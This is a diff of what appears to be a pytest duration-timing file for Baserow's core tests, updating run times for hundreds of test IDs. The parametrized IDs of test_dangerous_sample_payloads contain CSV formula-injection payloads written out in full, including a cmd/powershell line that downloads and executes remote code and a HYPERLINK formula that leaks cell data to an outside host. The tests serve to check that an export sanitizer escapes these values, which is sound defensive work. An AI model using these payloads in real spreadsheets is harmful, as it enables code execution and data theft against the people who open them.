"tests/baserow/core/test_core_handler.py::test_accept_workspace_invitation": 0.6924506249997648, - "tests/baserow/core/test_core_handler.py::test_check_permission_for_multiple_actors": 0.29264716699981363, - "tests/baserow/core/test_core_handler.py::test_create_database_application": 0.28192179299912823, + "tests/baserow/core/test_core_handler.py::test_accept_workspace_invitation": 0.4304581659962423, + "tests/baserow/core/test_core_handler.py::test_check_permission_for_multiple_actors": 0.1638261670304928, + "tests/baserow/core/test_core_handler.py::test_create_database_application": 0.16827349999221042, "tests/baserow/core/test_core_handler.py::test_create_group": 0.06301785199684673, "tests/baserow/core/test_core_handler.py::test_create_group_invitation": 0.17219969000143465, - "tests/baserow/core/test_core_handler.py::test_create_initial_workspace": 0.2298713760010287, - "tests/baserow/core/test_core_handler.py::test_create_workspace": 0.14947866499915108, - "tests/baserow/core/test_core_handler.py::test_create_workspace_invitation": 0.4321273340010521, - "tests/baserow/core/test_core_handler.py::test_create_workspace_invitation_max_pending": 0.15362370799903147, - "tests/baserow/core/test_core_handler.py::test_delete_database_application": 0.2851939170013793, + "tests/baserow/core/test_core_handler.py::test_create_initial_workspace": 0.23497200102428906, + "tests/baserow/core/test_core_handler.py::test_create_workspace": 0.09570054200594313, + "tests/baserow/core/test_core_handler.py::test_create_workspace_invitation": 0.28223050001543015, + "tests/baserow/core/test_core_handler.py::test_create_workspace_invitation_max_pending": 0.10746208298951387, + "tests/baserow/core/test_core_handler.py::test_delete_database_application": 0.196806749998359, "tests/baserow/core/test_core_handler.py::test_delete_group": 0.13141982999877655, "tests/baserow/core/test_core_handler.py::test_delete_group_invitation": 0.1094430800039845, "tests/baserow/core/test_core_handler.py::test_delete_group_user": 0.15767528200376546, - "tests/baserow/core/test_core_handler.py::test_delete_workspace": 0.2853806249995614, - "tests/baserow/core/test_core_handler.py::test_delete_workspace_invitation": 0.27105083300011756, - "tests/baserow/core/test_core_handler.py::test_delete_workspace_user": 0.41277820899995277, - "tests/baserow/core/test_core_handler.py::test_duplicate_application_export_serialized_raises_operationalerror": 0.14631262500006414, + "tests/baserow/core/test_core_handler.py::test_delete_workspace": 0.21731204199022613, + "tests/baserow/core/test_core_handler.py::test_delete_workspace_invitation": 0.16391612601000816, + "tests/baserow/core/test_core_handler.py::test_delete_workspace_user": 0.24571462502353825, + "tests/baserow/core/test_core_handler.py::test_duplicate_application_export_serialized_raises_operationalerror": 0.09178033299394883, "tests/baserow/core/test_core_handler.py::test_export_import_group_application": 0.7030777979962295, - "tests/baserow/core/test_core_handler.py::test_export_import_workspace_application": 0.1944441249997908, - "tests/baserow/core/test_core_handler.py::test_get_application": 0.2782833749997735, + "tests/baserow/core/test_core_handler.py::test_export_import_workspace_application": 0.28432716699899174, + "tests/baserow/core/test_core_handler.py::test_get_application": 0.16517554098390974, "tests/baserow/core/test_core_handler.py::test_get_group": 0.10516449399801786, "tests/baserow/core/test_core_handler.py::test_get_group_invitation": 0.21045103999858839, "tests/baserow/core/test_core_handler.py::test_get_group_invitation_by_token": 0.11016884300261154, "tests/baserow/core/test_core_handler.py::test_get_group_user": 0.10975602799953776, "tests/baserow/core/test_core_handler.py::test_get_groups_order": 0.06176694000168936, - "tests/baserow/core/test_core_handler.py::test_get_settings": 0.009569541999553621, - "tests/baserow/core/test_core_handler.py::test_get_template": 0.14180116600073234, - "tests/baserow/core/test_core_handler.py::test_get_user_email_mapping": 0.41207937600029254, - "tests/baserow/core/test_core_handler.py::test_get_workspace": 0.2705649589997847, - "tests/baserow/core/test_core_handler.py::test_get_workspace_invitation": 0.5447760410006595, - "tests/baserow/core/test_core_handler.py::test_get_workspace_invitation_by_token": 0.2801724999990256, - "tests/baserow/core/test_core_handler.py::test_get_workspace_user": 0.26828308299991477, - "tests/baserow/core/test_core_handler.py::test_get_workspaces_order": 0.14396637400022883, - "tests/baserow/core/test_core_handler.py::test_install_template": 0.37439316600102757, + "tests/baserow/core/test_core_handler.py::test_get_settings": 0.01805275000515394, + "tests/baserow/core/test_core_handler.py::test_get_template": 0.09471687499899417, + "tests/baserow/core/test_core_handler.py::test_get_user_email_mapping": 0.23662566699204035, + "tests/baserow/core/test_core_handler.py::test_get_workspace": 0.16580983297899365, + "tests/baserow/core/test_core_handler.py::test_get_workspace_invitation": 0.30550333301653154, + "tests/baserow/core/test_core_handler.py::test_get_workspace_invitation_by_token": 0.1613952499756124, + "tests/baserow/core/test_core_handler.py::test_get_workspace_user": 0.16423437499906868, + "tests/baserow/core/test_core_handler.py::test_get_workspaces_order": 0.09428908204426989, + "tests/baserow/core/test_core_handler.py::test_install_template": 0.3991256670560688, "tests/baserow/core/test_core_handler.py::test_leave_group": 0.26804893000007723, - "tests/baserow/core/test_core_handler.py::test_leave_workspace": 0.6726212500007023, - "tests/baserow/core/test_core_handler.py::test_order_applications": 0.3303079990000697, + "tests/baserow/core/test_core_handler.py::test_leave_workspace": 0.3980207900167443, + "tests/baserow/core/test_core_handler.py::test_order_applications": 0.22498412503045984, "tests/baserow/core/test_core_handler.py::test_order_groups": 0.06749648400000297, - "tests/baserow/core/test_core_handler.py::test_order_workspaces": 0.1495011250008247, - "tests/baserow/core/test_core_handler.py::test_raise_if_user_is_last_admin_of_workspace": 0.3177382919993761, + "tests/baserow/core/test_core_handler.py::test_order_workspaces": 0.11347641699831001, + "tests/baserow/core/test_core_handler.py::test_raise_if_user_is_last_admin_of_workspace": 0.16680070798611268, "tests/baserow/core/test_core_handler.py::test_reject_group_invitation": 0.158260001000599, - "tests/baserow/core/test_core_handler.py::test_reject_workspace_invitation": 0.40849195899954793, - "tests/baserow/core/test_core_handler.py::test_restore_application": 0.15336500000012165, + "tests/baserow/core/test_core_handler.py::test_reject_workspace_invitation": 0.24660591603606008, + "tests/baserow/core/test_core_handler.py::test_restore_application": 0.1279459159995895, "tests/baserow/core/test_core_handler.py::test_restore_group": 0.06620626800213358, - "tests/baserow/core/test_core_handler.py::test_restore_workspace": 0.15343183299955854, + "tests/baserow/core/test_core_handler.py::test_restore_workspace": 0.12091345799854025, "tests/baserow/core/test_core_handler.py::test_send_group_invitation_email": 0.7029325670009712, "tests/baserow/core/test_core_handler.py::test_send_group_invitation_email_in_different_language": 0.6680330179988232, - "tests/baserow/core/test_core_handler.py::test_send_workspace_invitation_email": 0.32016708300034225, - "tests/baserow/core/test_core_handler.py::test_send_workspace_invitation_email_in_different_language": 0.3143508330012992, - "tests/baserow/core/test_core_handler.py::test_sync_and_install_all_templates": 0.00013012499948672485, - "tests/baserow/core/test_core_handler.py::test_sync_and_install_single_template": 7.05954187900079, - "tests/baserow/core/test_core_handler.py::test_sync_templates": 0.15142891600044095, - "tests/baserow/core/test_core_handler.py::test_update_database_application": 0.28323899999941204, + "tests/baserow/core/test_core_handler.py::test_send_workspace_invitation_email": 0.32034520801971667, + "tests/baserow/core/test_core_handler.py::test_send_workspace_invitation_email_in_different_language": 0.32597783298115246, + "tests/baserow/core/test_core_handler.py::test_sync_and_install_all_templates": 0.00012249898281879723, + "tests/baserow/core/test_core_handler.py::test_sync_and_install_single_template": 4.565997665980831, + "tests/baserow/core/test_core_handler.py::test_sync_templates": 0.23387487602303736, + "tests/baserow/core/test_core_handler.py::test_sync_templates_mapped_open_application_id": 0.35172266597510315, + "tests/baserow/core/test_core_handler.py::test_update_database_application": 0.1722578750050161, "tests/baserow/core/test_core_handler.py::test_update_group": 0.11066467600176111, "tests/baserow/core/test_core_handler.py::test_update_group_invitation": 0.10827740799504681, "tests/baserow/core/test_core_handler.py::test_update_group_user": 0.16683554599512718, - "tests/baserow/core/test_core_handler.py::test_update_settings": 0.27227208300155326, - "tests/baserow/core/test_core_handler.py::test_update_workspace": 0.2839764580003248, - "tests/baserow/core/test_core_handler.py::test_update_workspace_invitation": 0.27074370799982717, - "tests/baserow/core/test_core_handler.py::test_update_workspace_user": 0.4068715009998414, - "tests/baserow/core/test_core_job_types.py::test_can_submit_duplicate_application_job": 0.365800708000279, - "tests/baserow/core/test_core_job_types.py::test_can_undo_duplicate_application_job": 0.3661098740003581, + "tests/baserow/core/test_core_handler.py::test_update_settings": 0.1626562500023283, + "tests/baserow/core/test_core_handler.py::test_update_workspace": 0.16567600102280267, + "tests/baserow/core/test_core_handler.py::test_update_workspace_invitation": 0.16521458196802996, + "tests/baserow/core/test_core_handler.py::test_update_workspace_user": 0.23865495895734057, + "tests/baserow/core/test_core_job_types.py::test_can_submit_duplicate_application_job": 0.40084166699671187, + "tests/baserow/core/test_core_job_types.py::test_can_undo_duplicate_application_job": 0.37013975001173094, "tests/baserow/core/test_core_job_types.py::test_cannot_undo_duplicate_application_job": 0.7650091249997786, - "tests/baserow/core/test_core_job_types.py::test_value_preparation_for_duplicate_application_job": 0.15102154199939832, - "tests/baserow/core/test_core_mixins.py::test_cant_define_model_with_multiple_parents_with_poly_mixin": 0.012078623999514093, - "tests/baserow/core/test_core_mixins.py::test_get_all_parents_and_self_with_one_level_of_inheritance": 0.011846707999211503, - "tests/baserow/core/test_core_mixins.py::test_get_all_parents_and_self_with_single_model": 0.012481667000429297, - "tests/baserow/core/test_core_mixins.py::test_get_all_parents_and_self_with_two_levels_of_inheritance": 0.012097333999918192, - "tests/baserow/core/test_core_models.py::test_application_content_type_init": 0.011472125999716809, - "tests/baserow/core/test_core_models.py::test_core_models_hierarchy": 0.14284008399954473, - "tests/baserow/core/test_core_models.py::test_created_and_updated_on_mixin": 0.05137358400043013, + "tests/baserow/core/test_core_job_types.py::test_value_preparation_for_duplicate_application_job": 0.09834404196590185, + "tests/baserow/core/test_core_mixins.py::test_cant_define_model_with_multiple_parents_with_poly_mixin": 0.018442498956574127, + "tests/baserow/core/test_core_mixins.py::test_get_all_parents_and_self_with_one_level_of_inheritance": 0.01750933303264901, + "tests/baserow/core/test_core_mixins.py::test_get_all_parents_and_self_with_single_model": 0.01643266703467816, + "tests/baserow/core/test_core_mixins.py::test_get_all_parents_and_self_with_two_levels_of_inheritance": 0.017927957989741117, + "tests/baserow/core/test_core_models.py::test_application_content_type_init": 0.02035704199806787, + "tests/baserow/core/test_core_models.py::test_core_models_hierarchy": 0.090277042996604, + "tests/baserow/core/test_core_models.py::test_created_and_updated_on_mixin": 0.06319466599961743, "tests/baserow/core/test_core_models.py::test_group_has_user": 0.22268060200076434, "tests/baserow/core/test_core_models.py::test_group_user_get_next_order": 0.16154335499959416, - "tests/baserow/core/test_core_models.py::test_workspace_user_get_next_order": 0.409697375000178, - "tests/baserow/core/test_core_prosemirror.py::test_valid_prosemirror_doc_can_be_parsed": 0.008018208000066807, - "tests/baserow/core/test_core_registry.py::test_api_exceptions_api_mixins": 0.008006625997950323, - "tests/baserow/core/test_core_registry.py::test_get_serializer": 0.012781874998836429, - "tests/baserow/core/test_core_registry.py::test_registry": 0.007575457997518242, - "tests/baserow/core/test_core_registry.py::test_registry_get": 0.007617207997100195, - "tests/baserow/core/test_core_registry.py::test_registry_get_by_model_returns_the_most_specific_value": 0.007575081999675604, - "tests/baserow/core/test_core_registry.py::test_registry_get_compat_type_name": 0.00745058299980883, - "tests/baserow/core/test_core_registry.py::test_registry_register": 0.007807790998413111, - "tests/baserow/core/test_core_service.py::test_list_applications_in_workspace": 0.1470894589992895, - "tests/baserow/core/test_core_utils.py::test_atomic_if_not_already_autocommit_false": 0.007961916999192908, - "tests/baserow/core/test_core_utils.py::test_atomic_if_not_already_autocommit_true": 0.008224041999710607, - "tests/baserow/core/test_core_utils.py::test_dangerous_sample_payloads[%1-'%1]": 0.007751000001007924, - "tests/baserow/core/test_core_utils.py::test_dangerous_sample_payloads[+1+1-'+1+1]": 0.007582332998936181, - "tests/baserow/core/test_core_utils.py::test_dangerous_sample_payloads[-1+1-'-1+1]": 0.00773937499980093, - "tests/baserow/core/test_core_utils.py::test_dangerous_sample_payloads[-2+3+cmd|' /C calc'!A0-'-2+3+cmd\\\\|' /C calc'!A0]": 0.009709665000627865, + "tests/baserow/core/test_core_models.py::test_workspace_user_get_next_order": 0.23286891699535772, + "tests/baserow/core/test_core_prosemirror.py::test_valid_prosemirror_doc_can_be_parsed": 0.012837541988119483, + "tests/baserow/core/test_core_registry.py::test_api_exceptions_api_mixins": 0.01268008301849477, + "tests/baserow/core/test_core_registry.py::test_get_serializer": 0.017945000028703362, + "tests/baserow/core/test_core_registry.py::test_registry": 0.012805291975382715, + "tests/baserow/core/test_core_registry.py::test_registry_get": 0.012731165974400938, + "tests/baserow/core/test_core_registry.py::test_registry_get_by_model_returns_the_most_specific_value": 0.012709708011243492, + "tests/baserow/core/test_core_registry.py::test_registry_get_compat_type_name": 0.012632083002245054, + "tests/baserow/core/test_core_registry.py::test_registry_register": 0.012652917008381337, + "tests/baserow/core/test_core_service.py::test_list_applications_in_workspace": 0.09731412498513237, + "tests/baserow/core/test_core_utils.py::test_are_hostnames_same": 0.09452033397974446, + "tests/baserow/core/test_core_utils.py::test_atomic_if_not_already_autocommit_false": 0.012541333999251947, + "tests/baserow/core/test_core_utils.py::test_atomic_if_not_already_autocommit_true": 0.01757275004638359, + "tests/baserow/core/test_core_utils.py::test_dangerous_sample_payloads[%1-'%1]": 0.013240584026789293, + "tests/baserow/core/test_core_utils.py::test_dangerous_sample_payloads[+1+1-'+1+1]": 0.01258416601922363, + "tests/baserow/core/test_core_utils.py::test_dangerous_sample_payloads[-1+1-'-1+1]": 0.012708917987765744, + "tests/baserow/core/test_core_utils.py::test_dangerous_sample_payloads[-2+3+cmd|' /C calc'!A0-'-2+3+cmd\\\\|' /C calc'!A0]": 0.013077834009891376, "tests/baserow/core/test_core_utils.py::test_dangerous_sample_payloads[=1+1-'=1+10]": 0.009739825152792037, "tests/baserow/core/test_core_utils.py::test_dangerous_sample_payloads[=1+1-'=1+11]": 0.009518661885522306, - "tests/baserow/core/test_core_utils.py::test_dangerous_sample_payloads[=1+1-'=1+1_0]": 0.007613915999172605, - "tests/baserow/core/test_core_utils.py::test_dangerous_sample_payloads[=1+1-'=1+1_1]": 0.007906416998594068, - "tests/baserow/core/test_core_utils.py::test_dangerous_sample_payloads[=1|2-'=1\\\\|2]": 0.008497250999425887, - "tests/baserow/core/test_core_utils.py::test_dangerous_sample_payloads[=HYPERLINK(\"http://contextis.co.uk?leak=\"&A1&A2,\"Error: please click for further information\")-'=HYPERLINK(\"http://contextis.co.uk?leak=\"&A1&A2,\"Error: please click for further information\")]": 0.008513959002812044, - "tests/baserow/core/test_core_utils.py::test_dangerous_sample_payloads[=cmd|' /C calc'!A0-'=cmd\\\\|' /C calc'!A0]": 0.007799582999723498, - "tests/baserow/core/test_core_utils.py::test_dangerous_sample_payloads[=cmd|' /C powershell IEX(wget 0r.pe/p)'!A0-'=cmd\\\\|' /C powershell IEX(wget 0r.pe/p)'!A0]": 0.007666543000595993, - "tests/baserow/core/test_core_utils.py::test_dangerous_sample_payloads[@A3-'@A3]": 0.007610374999785563, - "tests/baserow/core/test_core_utils.py::test_dangerous_sample_payloads[@SUM(1+1)*cmd|' /C calc'!A0-'@SUM(1+1)*cmd\\\\|' /C calc'!A0]": 0.007634665998921264, - "tests/baserow/core/test_core_utils.py::test_dangerous_sample_payloads[@SUM(1+1)*cmd|' /C powershell IEX(wget 0r.pe/p)'!A0-'@SUM(1+1)*cmd\\\\|' /C powershell IEX(wget 0r.pe/p)'!A0]": 0.008990000000267173, - "tests/baserow/core/test_core_utils.py::test_dangerous_sample_payloads[|1+1-'\\\\|1+1]": 0.007626208001966006, - "tests/baserow/core/test_core_utils.py::test_dict_to_object": 0.008313332000398077, - "tests/baserow/core/test_core_utils.py::test_extract_allowed": 0.008049832998949569, - "tests/baserow/core/test_core_utils.py::test_find_intermediate_order_with_10k_iterations": 0.06461737499921583, - "tests/baserow/core/test_core_utils.py::test_find_intermediate_order_with_decimals": 0.007657583999389317, - "tests/baserow/core/test_core_utils.py::test_find_intermediate_order_with_floats": 0.007634333000169136, - "tests/baserow/core/test_core_utils.py::test_find_intermediate_order_with_lower_than_one_values": 0.0077792080028302735, - "tests/baserow/core/test_core_utils.py::test_find_intermediate_order_with_more_iterations_than_max_denominator": 0.008265500000561588, - "tests/baserow/core/test_core_utils.py::test_find_intermediate_with_equal_order": 0.008163500000591739, - "tests/baserow/core/test_core_utils.py::test_get_baserow_saas_base_url_with_debug": 0.008949207998739439, - "tests/baserow/core/test_core_utils.py::test_get_baserow_saas_base_url_without_debug": 0.0093121659992903, + "tests/baserow/core/test_core_utils.py::test_dangerous_sample_payloads[=1+1-'=1+1_0]": 0.012715751014184207, + "tests/baserow/core/test_core_utils.py::test_dangerous_sample_payloads[=1+1-'=1+1_1]": 0.012675833975663409, + "tests/baserow/core/test_core_utils.py::test_dangerous_sample_payloads[=1|2-'=1\\\\|2]": 0.012736374017549679, + "tests/baserow/core/test_core_utils.py::test_dangerous_sample_payloads[=HYPERLINK(\"http://contextis.co.uk?leak=\"&A1&A2,\"Error: please click for further information\")-'=HYPERLINK(\"http://contextis.co.uk?leak=\"&A1&A2,\"Error: please click for further information\")]": 0.012763333972543478, + "tests/baserow/core/test_core_utils.py::test_dangerous_sample_payloads[=cmd|' /C calc'!A0-'=cmd\\\\|' /C calc'!A0]": 0.012578875001054257, + "tests/baserow/core/test_core_utils.py::test_dangerous_sample_payloads[=cmd|' /C powershell IEX(wget 0r.pe/p)'!A0-'=cmd\\\\|' /C powershell IEX(wget 0r.pe/p)'!A0]": 0.012783376034349203, + "tests/baserow/core/test_core_utils.py::test_dangerous_sample_payloads[@A3-'@A3]": 0.01253441598964855, + "tests/baserow/core/test_core_utils.py::test_dangerous_sample_payloads[@SUM(1+1)*cmd|' /C calc'!A0-'@SUM(1+1)*cmd\\\\|' /C calc'!A0]": 0.012626623996766284, + "tests/baserow/core/test_core_utils.py::test_dangerous_sample_payloads[@SUM(1+1)*cmd|' /C powershell IEX(wget 0r.pe/p)'!A0-'@SUM(1+1)*cmd\\\\|' /C powershell IEX(wget 0r.pe/p)'!A0]": 0.012750249996315688, + "tests/baserow/core/test_core_utils.py::test_dangerous_sample_payloads[|1+1-'\\\\|1+1]": 0.012625584000488743, + "tests/baserow/core/test_core_utils.py::test_dict_to_object": 0.012834208988351747, + "tests/baserow/core/test_core_utils.py::test_extract_allowed": 0.012742999009788036, + "tests/baserow/core/test_core_utils.py::test_find_intermediate_order_with_10k_iterations": 0.07170333300018683, + "tests/baserow/core/test_core_utils.py::test_find_intermediate_order_with_decimals": 0.012750916997902095, + "tests/baserow/core/test_core_utils.py::test_find_intermediate_order_with_floats": 0.012646833958569914, + "tests/baserow/core/test_core_utils.py::test_find_intermediate_order_with_lower_than_one_values": 0.012754916999256238, + "tests/baserow/core/test_core_utils.py::test_find_intermediate_order_with_more_iterations_than_max_denominator": 0.013291249983012676, + "tests/baserow/core/test_core_utils.py::test_find_intermediate_with_equal_order": 0.0128901670104824, + "tests/baserow/core/test_core_utils.py::test_get_all_ips": 0.013134957989677787, + "tests/baserow/core/test_core_utils.py::test_get_baserow_saas_base_url_with_debug": 0.012727416033158079, + "tests/baserow/core/test_core_utils.py::test_get_baserow_saas_base_url_without_debug": 0.012790085020242259, "tests/baserow/core/test_core_utils.py::test_get_nested_value_from_dict[-expected_result5]": 0.010399788000086119, "tests/baserow/core/test_core_utils.py::test_get_nested_value_from_dict[a.b-expected_result6]": 0.010179997000250296, "tests/baserow/core/test_core_utils.py::test_get_nested_value_from_dict[a.b.c-123]": 0.010374387999945611, @@ -5392,337 +9548,431 @@ "tests/baserow/core/test_core_utils.py::test_get_nested_value_from_dict[list.1.d-789]": 0.01036336900006063, "tests/baserow/core/test_core_utils.py::test_get_nested_value_from_dict[list.5.d-None]": 0.010472198000115895, "tests/baserow/core/test_core_utils.py::test_get_nested_value_from_dict[list[1]d-789]": 0.010382314000025872, - "tests/baserow/core/test_core_utils.py::test_get_value_at_path[-expected_result5]": 0.007905458000095678, - "tests/baserow/core/test_core_utils.py::test_get_value_at_path[a.b-expected_result6]": 0.008633249999547843, - "tests/baserow/core/test_core_utils.py::test_get_value_at_path[a.b.c-123]": 0.009742958000060753, - "tests/baserow/core/test_core_utils.py::test_get_value_at_path[a.b.x-None]": 0.008556083999792463, - "tests/baserow/core/test_core_utils.py::test_get_value_at_path[a[b]-expected_result7]": 0.00854425000034098, - "tests/baserow/core/test_core_utils.py::test_get_value_at_path[b-expected_result17]": 0.007857291999243898, - "tests/baserow/core/test_core_utils.py::test_get_value_at_path[b.*-expected_result18]": 0.007683040999836521, - "tests/baserow/core/test_core_utils.py::test_get_value_at_path[b.0-1]": 0.007754251000733348, - "tests/baserow/core/test_core_utils.py::test_get_value_at_path[empty_list-expected_result20]": 0.007582458001706982, - "tests/baserow/core/test_core_utils.py::test_get_value_at_path[empty_list.*-expected_result21]": 0.00774512500174751, - "tests/baserow/core/test_core_utils.py::test_get_value_at_path[empty_list.*.0-None]": 0.00790716699884797, - "tests/baserow/core/test_core_utils.py::test_get_value_at_path[list-expected_result8]": 0.007766167000227142, - "tests/baserow/core/test_core_utils.py::test_get_value_at_path[list.*-expected_result9]": 0.007793375001710956, - "tests/baserow/core/test_core_utils.py::test_get_value_at_path[list.*.c-None]": 0.00854174899905047, - "tests/baserow/core/test_core_utils.py::test_get_value_at_path[list.*.d-expected_result11]": 0.007800999999744818, - "tests/baserow/core/test_core_utils.py::test_get_value_at_path[list.*.e-expected_result12]": 0.007761792001474532, - "tests/baserow/core/test_core_utils.py::test_get_value_at_path[list.1.d-789]": 0.008753582998906495, - "tests/baserow/core/test_core_utils.py::test_get_value_at_path[list.5.d-None]": 0.008025708000786835, - "tests/baserow/core/test_core_utils.py::test_get_value_at_path[list[1]d-789]": 0.008071959000517381, - "tests/baserow/core/test_core_utils.py::test_get_value_at_path[nested.*.nested.*.a-expected_result13]": 0.007800501000019722, - "tests/baserow/core/test_core_utils.py::test_get_value_at_path[nested.*.nested.0.a-expected_result15]": 0.0077668740013905335, - "tests/baserow/core/test_core_utils.py::test_get_value_at_path[nested.*.nested.1.a-expected_result16]": 0.007480042000679532, - "tests/baserow/core/test_core_utils.py::test_get_value_at_path[nested[*].nested[*].a-expected_result14]": 0.008069833000263316, - "tests/baserow/core/test_core_utils.py::test_grouper": 0.007775748999847565, - "tests/baserow/core/test_core_utils.py::test_is_max_lock_exceeded_exception": 0.00753537400123605, - "tests/baserow/core/test_core_utils.py::test_mirror_dict": 0.007627251003214042, - "tests/baserow/core/test_core_utils.py::test_nested_progress": 0.00927274999776273, - "tests/baserow/core/test_core_utils.py::test_progress": 0.00796345900198503, - "tests/baserow/core/test_core_utils.py::test_progress_higher_total_than_parent": 0.007760041999063105, - "tests/baserow/core/test_core_utils.py::test_random_string": 0.007773334000376053, - "tests/baserow/core/test_core_utils.py::test_remove_invalid_surrogate_characters": 0.007940000001326553, - "tests/baserow/core/test_core_utils.py::test_remove_special_characters": 0.007655166000404279, - "tests/baserow/core/test_core_utils.py::test_safe_nonstr_sample_payloads[1]": 0.008210501000576187, - "tests/baserow/core/test_core_utils.py::test_safe_nonstr_sample_payloads[2]": 0.009016959002110525, - "tests/baserow/core/test_core_utils.py::test_safe_nonstr_sample_payloads[True]": 0.010325708999516792, - "tests/baserow/core/test_core_utils.py::test_safe_sample_payloads[-1,2]": 0.008330083001055755, - "tests/baserow/core/test_core_utils.py::test_safe_sample_payloads[-1.3]": 0.008623208997960319, - "tests/baserow/core/test_core_utils.py::test_safe_sample_payloads[1+2]": 0.00826641700041364, - "tests/baserow/core/test_core_utils.py::test_safe_sample_payloads[1,2]": 0.009893084001305397, - "tests/baserow/core/test_core_utils.py::test_safe_sample_payloads[1-2]": 0.008581000000049244, - "tests/baserow/core/test_core_utils.py::test_safe_sample_payloads[1.3]": 0.008354374998816638, - "tests/baserow/core/test_core_utils.py::test_safe_sample_payloads[19.00 %]": 0.008502416001647362, - "tests/baserow/core/test_core_utils.py::test_safe_sample_payloads[1=3]": 0.008738793001612066, - "tests/baserow/core/test_core_utils.py::test_safe_sample_payloads[1]": 0.008849041001667501, - "tests/baserow/core/test_core_utils.py::test_safe_sample_payloads[Foo Bar]": 0.008165125998857548, - "tests/baserow/core/test_core_utils.py::test_safe_sample_payloads[Foo]": 0.008594291999543202, - "tests/baserow/core/test_core_utils.py::test_safe_sample_payloads[None]": 0.007982417002494913, - "tests/baserow/core/test_core_utils.py::test_safe_sample_payloads[Test | Foo]": 0.008570499998313608, - "tests/baserow/core/test_core_utils.py::test_safe_sample_payloads[]": 0.007995751002454199, - "tests/baserow/core/test_core_utils.py::test_safe_sample_payloads[foo@example.org]": 0.008811416000753525, - "tests/baserow/core/test_core_utils.py::test_set_allowed_attrs": 0.008617916997536668, - "tests/baserow/core/test_core_utils.py::test_sha256_hash": 0.0077241260005394, - "tests/baserow/core/test_core_utils.py::test_split_comma_separated_string": 0.0079679579976073, - "tests/baserow/core/test_core_utils.py::test_stream_size": 0.007676834000449162, - "tests/baserow/core/test_core_utils.py::test_to_pascal_case": 0.007563290999314631, - "tests/baserow/core/test_core_utils.py::test_to_path[.person.name.first-expected_result6]": 0.007669459000680945, - "tests/baserow/core/test_core_utils.py::test_to_path[a[0].b..c-expected_result1]": 0.007670041000892525, - "tests/baserow/core/test_core_utils.py::test_to_path[a[0].b.c-expected_result0]": 0.007669958999031223, - "tests/baserow/core/test_core_utils.py::test_to_path[a[0].b['abc'].c-expected_result4]": 0.007743748999928357, - "tests/baserow/core/test_core_utils.py::test_to_path[a[0].b[abc].c-expected_result3]": 0.00755179200132261, - "tests/baserow/core/test_core_utils.py::test_to_path[a[1 2].b.c-expected_result2]": 0.007662999001695425, - "tests/baserow/core/test_core_utils.py::test_to_path[person . name . first-expected_result8]": 0.007990166999661596, - "tests/baserow/core/test_core_utils.py::test_to_path[person name.first-expected_result7]": 0.007635499001480639, - "tests/baserow/core/test_core_utils.py::test_to_path[person.friends[0].name.last-expected_result9]": 0.008199708001484396, - "tests/baserow/core/test_core_utils.py::test_to_path[person.name.first-expected_result5]": 0.007947249998323969, - "tests/baserow/core/test_core_utils.py::test_to_snake_case": 0.007544416999735404, - "tests/baserow/core/test_core_utils.py::test_truncate_middle": 0.007879208998929244, - "tests/baserow/core/test_core_utils.py::test_unique_dicts_in_list": 0.00918000099954952, - "tests/baserow/core/test_core_utils.py::test_unused_names": 0.007455459999619052, - "tests/baserow/core/test_core_utils.py::test_unused_names_with_max_length": 0.007889209000495612, - "tests/baserow/core/test_core_validators.py::test_max_length_validator_help_text": 0.008959834001871059, - "tests/baserow/core/test_core_validators.py::test_max_length_validator_validate": 0.009413624999069725, - "tests/baserow/core/test_object_scope_types.py::test_all_scope_types_with_model_classes_are_hierarchical": 0.007951957999466686, - "tests/baserow/core/test_posthog.py::test_capture_event_action_done": 0.14153508299932582, - "tests/baserow/core/test_posthog.py::test_capture_event_if_enabled": 0.14675575000001118, - "tests/baserow/core/test_posthog.py::test_not_capture_event_if_not_enabled": 0.1431253340006151, - "tests/baserow/core/test_staff_setting_permissions.py::test_staff_setting_permission_manager_non_staff_with_allow_global_workspace_creation_disabled": 0.14181999999982509, - "tests/baserow/core/test_staff_setting_permissions.py::test_staff_setting_permission_manager_non_staff_with_allow_global_workspace_creation_enabled": 0.139203040999746, - "tests/baserow/core/test_staff_setting_permissions.py::test_staff_setting_permission_manager_staff_with_allow_global_workspace_creation_disabled": 0.1495521250008096, - "tests/baserow/core/test_staff_setting_permissions.py::test_staff_setting_permission_manager_staff_with_allow_global_workspace_creation_enabled": 0.1439210840007945, - "tests/baserow/core/test_throttling.py::test_rate_limit_different_functions_independent_counters": 0.008403583999097464, - "tests/baserow/core/test_throttling.py::test_rate_limit_different_keys_independent_counters": 0.008084666000286234, - "tests/baserow/core/test_throttling.py::test_rate_limit_per_hour": 0.08829470799901173, - "tests/baserow/core/test_throttling.py::test_rate_limit_per_minute": 0.08874275099879014, - "tests/baserow/core/test_throttling.py::test_rate_limit_per_seconds": 0.09136241700070968, - "tests/baserow/core/test_throttling.py::test_rate_limit_throws_exception_by_default": 0.008336124999914318, - "tests/baserow/core/test_throttling.py::test_rate_limit_with_ignored_exceptions": 0.008358251001482131, - "tests/baserow/core/trash/test_trash_actions.py::test_empty_application_level_trash_action_type": 0.1463334580002993, - "tests/baserow/core/trash/test_trash_actions.py::test_empty_workspace_level_trash_action_type": 0.14415366699995502, - "tests/baserow/core/trash/test_trash_actions.py::test_restore_item_action_type": 0.1474631250002858, + "tests/baserow/core/test_core_utils.py::test_get_value_at_path[-expected_result5]": 0.013166791992262006, + "tests/baserow/core/test_core_utils.py::test_get_value_at_path[a.b-expected_result6]": 0.012736166041577235, + "tests/baserow/core/test_core_utils.py::test_get_value_at_path[a.b.c-123]": 0.012792664987500757, + "tests/baserow/core/test_core_utils.py::test_get_value_at_path[a.b.x-None]": 0.012609208992216736, + "tests/baserow/core/test_core_utils.py::test_get_value_at_path[a[b]-expected_result7]": 0.012778917007381096, + "tests/baserow/core/test_core_utils.py::test_get_value_at_path[b-expected_result17]": 0.012769625027431175, + "tests/baserow/core/test_core_utils.py::test_get_value_at_path[b.*-expected_result18]": 0.012684249988524243, + "tests/baserow/core/test_core_utils.py::test_get_value_at_path[b.0-1]": 0.012736583012156188, + "tests/baserow/core/test_core_utils.py::test_get_value_at_path[empty_list-expected_result20]": 0.012697209022007883, + "tests/baserow/core/test_core_utils.py::test_get_value_at_path[empty_list.*-expected_result21]": 0.01269879302708432, + "tests/baserow/core/test_core_utils.py::test_get_value_at_path[empty_list.*.0-None]": 0.01277675002347678, + "tests/baserow/core/test_core_utils.py::test_get_value_at_path[list-expected_result8]": 0.01271395804360509, + "tests/baserow/core/test_core_utils.py::test_get_value_at_path[list.*-expected_result9]": 0.012796416995115578, + "tests/baserow/core/test_core_utils.py::test_get_value_at_path[list.*.c-None]": 0.012663875968428329, + 